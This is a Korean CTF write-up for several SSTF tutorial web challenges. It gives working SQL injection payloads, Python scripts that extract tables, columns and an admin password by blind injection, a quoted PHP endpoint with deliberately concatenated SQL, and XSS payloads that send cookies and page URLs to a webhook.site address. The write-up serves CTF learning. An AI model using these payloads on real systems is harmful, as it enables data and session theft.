1-1. SQLi 101
1-2. Exploit
SQLi 101, 102, 103, XSS 101 모두 SSTF에서 제공하는 뉴비를 위한 Tutorial 문제입니다.
문제를 보면 tutorial challenge이며 <tutorial guide>를 참고해서 풀라고 나와있습니다. SQLi 101은 tutorial guide를 보지 않고도 충분히 뉴비도 쉽게 풀 수 있는 난이도의 문제였습니다.
접근하면 단순한 로그인 화면이 보였고,
로그인을 실패하면 대놓고 SQL query문을 알려줍니다. 또한, admin으로 로그인하라고 친절하게 알려주기도 합니다.
payload - admin' #
id와 pw 값 모두 주어야 통과가 됩니다.
2-1. SQLi 102
2-2. Exploit
이전 문제와 같이 tutorial 문제입니다. 문제 페이지에 접속하면,
이 화면만 보였습니다. 우상단 HINT를 들어가면 LOS와 비슷하게 source를 보여주는데 단순히 like를 이용하여 입력한 keyword로 조회하는게 전부 였습니다. 하단 문구를 보면 숨겨져있는 테이블과 컬럼 이름을 찾으라고 하는데, 누가봐도 UNION SQL injection입니다. 시작하겠습니다.
우선 사용된 컬럼의 수 부터 세기로 했습니다.
payload
Opening Space%' union select 1, 2, 3, 4, 5, 6, 7, 8 #
8개의 컬럼을 사용하는 것을 확인하였고, 이제 information_schema를 이용해서 table을 찾겠습니다.
payload
Opening Space%' union select 1, table_name, 3, 4, 5, 6, 7, 8 from information_schema.tables#
table 이름들이 쭉 조회되었고 findme라는 아주 수상한 table이름을 찾았습니다. 마지막으로, 컬럼을 조회해보겠습니다.
payload
Opening Space%' union select 1, column_name, 3, 4, 5, 6, 7, 8 from information_schema.columns where table_name='findme'#
플래그를 찾았습니다.
SCTF{b451c_SQLi_5k1lls}
3-1. SQLi 103
3-2. Exploit
힌트부터 보면, pw 컬럼이 존재하고, password는 6~10자고, flag는 어드민 비밀번호를 SCTF 형식에 맞추어 넣으면 된다고 하였습니다.
/survey.php?answer=1
survey.php에는 answer를 파라미터로 받고 그냥 ok를 출력했습니다.
/check_id.php?id=1
입력한 id 값에 따라서 해당 id가 존재하는지 존재하지 않는지를 조회할 수 있었습니다. id에 admin을 넣으니 true가 반환되였지만, 딱히 할 수 있는 것을 못 찾았습니다. 컬럼 이름도 모르고 아는 정보가 너무 없어서 survey.php에서 Blind Union SQL injection을 이용해서 문제를 풀기로 했습니다.
payload
import requests
url = "http://sqli103.sstf.site/survey.php?answer="
for i in range(62,100):
for j in range(1,30):
col = ""
for k in range(30,200):
query= f"if(ascii((select%20mid(table_name,{j},1)%20from%20information_schema.tables%20limit%20{i},1))={k},pow(9,99999999999999999999999999),1)"
#print(query)
res = requests.get(url=url+query)
if "DOUBLE" in res.text:
col += chr(k)
break
print(col)
문법이 ㅌ틀리면 오류가 발생하는 점을 이용해서 테이블 이름을 하나씩 추출하였고 앞서 존재하는 table들은 mysql에서 기본적으로 사용하는 table로 약 60개를 건너 뛰고 뒤쪽부터 조회하여 log와 member라는 테이블을 찾았습니다. 아마 member에 어드민 비밀번호 및 아이디가 모두 저장되어있을 것으로 판단하고 column 이름을 조회해보기로 했습니다.
payload
import requests
url = "http://sqli103.sstf.site/survey.php?answer="
for i in range(2,100):
for j in range(1,30):
col = ""
for k in range(30,200):
query= f"if(ascii((select%20mid(column_name,{j},1)%20from%20information_schema.columns where table_name='member'%20limit%20{i},1))={k},pow(9,99999999999999999999999999),1)"
#print(query)
res = requests.get(url=url+query)
if "DOUBLE" in res.text:
col += chr(k)
break
print(col)
찾은 컬럼명 - idx, user_id, pw, is_admin
이렇게 총 4개의 column 명을 찾았습니다. 여기서 이제 admin의 pw를 조회하는 식으로 admin의 비밀번호를 찾아보겠습니다.
payload
secret = ""
for j in range(1,8):
for i in range(10):
url = f"http://sqli103.sstf.site/survey.php?answer=if((select%20substr(pw,{j},1)%20from%20member%20where%20user_id=%27admin%27)={i},pow(~0,~0),0)"
res = requests.get(url=url)
print(res.text)
if "DOUBLE" in res.text:
print(i)
secret += str(i)
break
print(secret)
pw - 6589303
가 나왔지만, 정답이 아니었습니다. 왜냐하면 이전 컬럼명에서 보셨다시피 is_admin이라는게 존재했습니다. 즉, admin권한이 있냐 없냐라는게 존재했습니다.
payload
import requests
url = "http://sqli103.sstf.site/survey.php?answer="
for i in range(4,100):
for j in range(1,30):
col = ""
for k in range(30,200):
query= f"if(ascii((select mid(user_id,{j},1) from member where is_admin=1))={k},pow(9,99999999999999999999999999),1)"
#print(query)
res = requests.get(url=url+query)
if "DOUBLE" in res.text:
col += chr(k)
break
print(col)
앞서 이용한 payload를 응용하여 is_admin 값이 1인 id를 조회했습니다.
id - epsilon
즉, epsilon의 비밀번호를 찾는게 답입니다.
SCTF{5086011}
4-1. XSS 101
4-2. Exploit
접속하게 되면 이렇게 뜨는데, 로그인을 실패하게 되면,
Need help? 가 뜨고 들어가게 되면,
이렇게 뜨는데 바로 XSS임을 알아냈다. 따라서 쿠키 값을 가져오도록 하면
payload
<script>location.href="https://webhook.site/23c07058-ccd1-41dc-84f8-6b7de6431aa3/".concat(document.cookie)</script>
정상적으로 쿠키 값을 가져왔습니다. 하지만 해당 쿠키 값으로 설정하고 로그인 페이지에 접속해도 아무일도 일어나지 않았습니다. 따라서 숨겨져있는 페이지가 있을 것 같아 이전 페이지를 추출해봤습니다.
payload
<script>location.href="https://webhook.site/23c07058-ccd1-41dc-84f8-6b7de6431aa3?a=".concat(location.href).concat(document.cookie)</script>
admin.php라는 숨겨진 페이지를 발견했고,
5-1. Libreria(After Expired)
5-2. Exploit
접속하면 위와 같은 화면을 볼 수 있고 DB에 저장된 책을 조회할 수 있습니다.
이렇게 일렬로 뜨는 것을 보고 Union SQL injection이나 또 다른 공격이 가능할 수 있다는 점을 생각해냈습니다.
source 코드를 제공해줘서 Attack Vector를 분석해봤습니다.
제공 받은 파일 중 rest.php에서 모든 sql 처리를 하였고, 의도해서 만든 취약한 부분을 찾았습니다.
<?php
function dbconnect(){
$db=pg_connect("host=db dbname=books user=".$_ENV["DB_USER"]." password=".$_ENV["DB_PWD"]) or die("db connection error");
return $db;
}
function err_handler($errno, $msg, $file, $line)
{
return true;
}
set_error_handler("err_handler");
$resp_time = 3.0;
$start = microtime(true);
if (!isset($_GET['cmd'])) die;
$res = '{"res": "request failed."}';
$cmd = $_GET['cmd'];
switch($cmd) {
case 'findbyisbn':
if ((isset($_GET['isbn']) && strlen($_GET['isbn']) >= 10)) {
$db = dbconnect();
pg_prepare($db, "find_by_isbn", "SELECT * FROM books WHERE isbn=$1");
$result = pg_execute($db, "find_by_isbn", array($_GET['isbn']));
pg_close($db);
if($result) {
$rows = pg_fetch_assoc($result);
if ($rows) $res = json_encode($rows);
}
}
break;
case 'requestbook':
if ((isset($_GET['isbn']) && strlen($_GET['isbn']) >= 10)) {
$res = '{"res": "Sorry, but our budget is not enough to buy <a href=\'https://isbnsearch.org/isbn/'.$_GET['isbn'].'\'>this book</a>."}';
$db = dbconnect();
$result = pg_query($db, "SELECT ISBN FROM books WHERE isbn='".$_GET['isbn']."'");
pg_close($db);
if ($result) {
$rows = pg_fetch_assoc($result);
if ($rows) {
$isbn = (int)$rows["isbn"];
if (($isbn >= 1000000000) && ((string)$isbn === $rows["isbn"]))
{
$res = '{"res": "We already have this book('.$rows["isbn"].')."}';
}
}
}
}
break;
default:
die;
}
$now = microtime(true);
if ($now - $start < $resp_time) {
usleep((int)(($resp_time + $start - $now) * 1000000));
}
echo $res;
?>
case 'requestbook' 분기문을 보면 findbyisbn과 달리 쿼리문을 사용할 때 prepare 문을 사용하지 않고 바로 합친 뒤 pg_query를 사용하는 것을 볼 수 있습니다.
여기서 조건을 보면 조회되었을 때 값이 특정 값이어야 하는데 이 값은
각 책의 인덱스 값인지 확인하는 조건이었습니다.
따라서 pg_query는 PostgreSQL을 이용하는 쿼리문으로 PostgreSQL 형식으로 SQL injection을 하여 information_schema에서 숨겨진 테이블과 컬럼명 그리고 값을 찾아야 할 것입니다.
payload
9781329837294' and 1=1 -- -
이 payload를 can't find book 부분에서 넣어주면
SQL injection이 정상적으로 가능하였습니다.
payload
9781914053429' and ascii((select substring((select table_name from information_schema.tables limit 1 offset 1),1,1)))>0 -- -
위 구문으로 schema.tables에서 table이름을 추출하여 ascii 값으로 변환하고 그 결과를 받았습니다.
응용하여 table_name을 추출해낼 수 있을 것이며 아마 offset을 60이상부터 시작하면 table_name을 빠르게 찾을 수 잇을 것입니다.
payload
secret = ""
for j in range(1,8):
for i in range(65, 126):
url = "http://libreria.sstf.site/rest.php?cmd=requestbook&isbn="
q = f"9781914053429' and ascii((select substring((select table_name from information_schema.tables limit 1 offset 59),{j},1)))={i} -- -"
res = requests.get(url=url+q)
#print(res.text)
if "Sorry" not in res.text:
print(chr(i))
secret += chr(i)
break
else:
print("Testing..... / "+chr(i))
print(secret)
위 코드를 이용하여 table_name을 알아내고 알아낸 table의 column을 알아내고 secret table과 column을 이용해서 flag를 얻으면 됩니다.
'CTF > WEB' 카테고리의 다른 글
2024 Hspace January SpaceWAR CTF Write-up (2) | 2024.01.14 |
---|